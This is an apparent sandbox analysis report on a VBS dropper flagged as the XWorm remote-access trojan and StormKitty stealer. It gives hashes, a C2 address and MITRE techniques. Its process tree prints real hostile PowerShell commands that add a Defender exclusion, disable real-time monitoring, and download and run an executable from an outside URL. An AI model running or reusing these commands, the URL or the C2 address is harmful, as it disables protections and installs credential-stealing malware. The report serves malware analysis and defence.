stormkitty | 05ce9e030ca6e12da3c8dbe80b6b65131448b694980223b548cba07f0bba4292

Analysis

max time kernel
149s
max time network
146s
platform
windows11-21h2_x64
resource
win11-20250502-en
resource tags

arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
submitted
30/11/2025, 19:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
vvv.vbs
Size 1KB
Sample251130-x45dvaaz8e
SHA256 05ce9e030ca6e12da3c8dbe80b6b65131448b694980223b548cba07f0bba4292
MD5 28963018c4addb12d84d7fdfa95f8143
SHA1 4ba9bb58dbecf5f2afd0dc70d6eaa55bd0ac1ae2
SHA512 fd5340b045f6d2097afbde447e2a9ef88f319d0cefcfa0b5f3321470b4126cc4054ed5a5b9f4e69e607864537ed449bf721ff0e207d7f6373820d82b57e14c9f
MD5 SHA1 SHA512

Score

10^/10

discovery execution stormkitty xworm rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Version

maxfor0214-41192.portmap.host:41192

Mutex

fR99EfQPcoOaON8b

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x001d00000002b14b-45.dat	family_xworm
behavioral2/memory/3904-49-0x0000000000EE0000-0x0000000000EEE000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/3904-50-0x000000001DE00000-0x000000001DF20000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1516	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
952	powershell.exe
3012	powershell.exe
1516	powershell.exe
5864	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3904	svchost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1516	powershell.exe
1516	powershell.exe
3012	powershell.exe
952	powershell.exe
3012	powershell.exe
952	powershell.exe
5864	powershell.exe
5864	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	952	powershell.exe
Token: SeDebugPrivilege	5864	powershell.exe
Token: SeDebugPrivilege	3904	svchost.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1204 wrote to memory of 952	1204	WScript.exe	78
PID 1204 wrote to memory of 952	1204	WScript.exe	78
PID 1204 wrote to memory of 3012	1204	WScript.exe	80
PID 1204 wrote to memory of 3012	1204	WScript.exe	80
PID 1204 wrote to memory of 1516	1204	WScript.exe	82
PID 1204 wrote to memory of 1516	1204	WScript.exe	82
PID 1204 wrote to memory of 5864	1204	WScript.exe	84
PID 1204 wrote to memory of 5864	1204	WScript.exe	84
PID 5864 wrote to memory of 3904	5864	powershell.exe	86
PID 5864 wrote to memory of 3904	5864	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vvv.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:AppData\svchost.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "Invoke-WebRequest -Uri 'https://bursahotelphuket.com/zip/XClient.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\svchost.exe'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process -FilePath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5864
- - C:\Users\Admin\AppData\Roaming\svchost.exe
    "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31
MD5 d0a4a3b9a52b8fe3b019f6cd0ef3dad6
SHA1 fed70ce7834c3b97edbd078eccda1e5effa527cd
SHA512 1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ac01c39f1027c82f8d739b7a15c8fc17875bf33f3069f9acf0eb4a0d3b8803d7
MD5 b94a5f9c019b614942fc29d049e77006
SHA1 7d22a700e14c52c6ded2a26cc063057b779d5c2e
SHA512 301825dd58920d02a28650c9bd9a43d36d5d896fa72b79b49792a868f2df4d419dd6fdfe245f544f8becaff9585e63050fe2e6979dbc35a592017423a392633e
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_wnc40ohs.fdc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wnc40ohs.fdc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 7d4cc6200049914372ecf06c58037df8285a8cc794105fb02bf76d9cc72076f4
MD5 aaf470cb7af47182a360588906312764
SHA1 72e3a84b7e82b376e4bb296667f14675ce82f096
SHA512 5445f5c71eee9fc23f515cc832ea96e0a9f1ca16a6702fe0ac0c44903ab097b3cfbfe765046a0333e87f4c8ac33cbec03f7d84bae62ad8abd2210e8a875aa3b2
SSDEEP 96:GuRiwQCdSlgFukvhkvCCtWSlBrp1QHg2gBrp1QHg2T:GuRiwl9cVFPhFPE
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 55c50d2b76ccda020363e64fbf77070debe206f8fe0bbeb6330ee849e6601f56
MD5 d3fe3f252c4b43fa6c2622e3b4d1c66b
SHA1 26762c177416c78f4823cb0e4606a3937e69c6c1
SHA512 384a2b3ecc7242b9e0da394bffa674d15a0a938b0c078319be53e4a072c7a01e084ec8187e49222d6299c41c61967ca7ab907a259bd82c95d0951e8952780d68
SSDEEP 96:MGiVCSS0gFukvhkvCCtWSlBrp1QHg2gBrp1QHg2T:MGizucVFPhFPE
MD5 SHA1 SHA512 SSDEEP

Submit Download

svchost.exe

Path C:\Users\Admin\AppData\Roaming\svchost.exe
Size 32KB
SHA256 17cb673e636e991b3df0929c5704022acc9491a3a63d4375b3f8a063ab5eafba
MD5 11532619ca9fd44b140cb7ef7b69476d
SHA1 52a704748baf3d1c13e5ded1c814bab4a4df645f
SHA512 7f3a025b5456b2e1d6fd505d7a8f37a2e37e9eb474690749c353d67d0e41a09791df868424c17fc13ad16e16c4ca91b9c5794b56531df7f9c31dcc1ca2086ec2
SSDEEP 384:QlRmhGD91SluSWhnHHxzLmYV3Tm2eaFO6pzRApkFTBLTsOZwpGd2v99IkuiszVF:kRPD9OQhx/BV3Tw4fpzVFE9jiOjhPb/
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/952-29-0x0000029D93CA0000-0x0000029D94762000-memory.dmp

Download

memory/1516-37-0x000001A502810000-0x000001A5032D2000-memory.dmp

Download

memory/1516-10-0x000001A502470000-0x000001A502492000-memory.dmp

Download

memory/3012-33-0x00000201DD760000-0x00000201DE222000-memory.dmp

Download

memory/3904-49-0x0000000000EE0000-0x0000000000EEE000-memory.dmp

Download

memory/3904-50-0x000000001DE00000-0x000000001DF20000-memory.dmp

Download

memory/5864-48-0x0000017056D50000-0x0000017057812000-memory.dmp

Download